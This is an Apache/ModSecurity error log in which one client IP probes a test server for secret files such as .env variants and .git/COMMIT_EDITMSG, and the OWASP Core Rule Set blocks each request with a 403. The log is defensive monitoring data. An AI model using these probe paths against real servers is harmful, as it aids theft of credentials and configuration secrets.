[Thu Jul 10 08:35:50.083276 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packages/plugin-qiankun/examples/app1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/plugin-qiankun/examples/app1/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4pAAAAAE&quot;]
[Thu Jul 10 08:35:50.083503 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/plugin-qiankun/examples/app1/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4pAAAAAE&quot;]
[Thu Jul 10 08:35:50.083670 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/plugin-qiankun/examples/app1/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4pAAAAAE&quot;]
[Thu Jul 10 08:35:50.105992 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4pQAAAAE&quot;]
[Thu Jul 10 08:35:50.106223 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4pQAAAAE&quot;]
[Thu Jul 10 08:35:50.106424 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4pQAAAAE&quot;]
[Thu Jul 10 08:35:50.151307 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4pwAAAAE&quot;]
[Thu Jul 10 08:35:50.151545 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4pwAAAAE&quot;]
[Thu Jul 10 08:35:50.151726 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4pwAAAAE&quot;]
[Thu Jul 10 08:35:50.304529 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/commit_editmsg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4rAAAAAE&quot;]
[Thu Jul 10 08:35:50.304782 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4rAAAAAE&quot;]
[Thu Jul 10 08:35:50.304987 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4rAAAAAE&quot;]
[Thu Jul 10 08:35:50.350096 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /agora/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4rgAAAAE&quot;]
[Thu Jul 10 08:35:50.350379 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4rgAAAAE&quot;]
[Thu Jul 10 08:35:50.350595 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4rgAAAAE&quot;]
[Thu Jul 10 08:35:50.395720 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /download/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4sAAAAAE&quot;]
[Thu Jul 10 08:35:50.395968 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4sAAAAAE&quot;]
[Thu Jul 10 08:35:50.396157 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4sAAAAAE&quot;]
[Thu Jul 10 08:35:50.418171 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /results/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4sQAAAAE&quot;]
[Thu Jul 10 08:35:50.418464 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4sQAAAAE&quot;]
[Thu Jul 10 08:35:50.418664 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4sQAAAAE&quot;]
[Thu Jul 10 08:35:50.532782 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak1&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4tgAAAAE&quot;]
[Thu Jul 10 08:35:50.533023 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak1&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4tgAAAAE&quot;]
[Thu Jul 10 08:35:50.533240 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak1&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4tgAAAAE&quot;]
[Thu Jul 10 08:35:50.579140 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4uAAAAAE&quot;]
[Thu Jul 10 08:35:50.579381 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4uAAAAAE&quot;]
[Thu Jul 10 08:35:50.579558 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4uAAAAAE&quot;]
[Thu Jul 10 08:35:50.603498 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/github.com/subosito/gotenv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4uQAAAAE&quot;]
[Thu Jul 10 08:35:50.603746 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4uQAAAAE&quot;]
[Thu Jul 10 08:35:50.603924 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/subosito/gotenv/.env&quot;] [unique_id &quot;aG9fRm2HUGa5P2sipOw4uQAAAAE&quot;]
[Thu Jul 10 08:35:54.700528 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aG9fSrwmNPsrpCjDVcoW-wAAAAU&quot;]
[Thu Jul 10 08:35:54.700777 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aG9fSrwmNPsrpCjDVcoW-wAAAAU&quot;]
[Thu Jul 10 08:35:54.700974 2025] [:error] [pid 1065781] [client 185.177.72.106:29868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aG9fSrwmNPsrpCjDVcoW-wAAAAU&quot;]
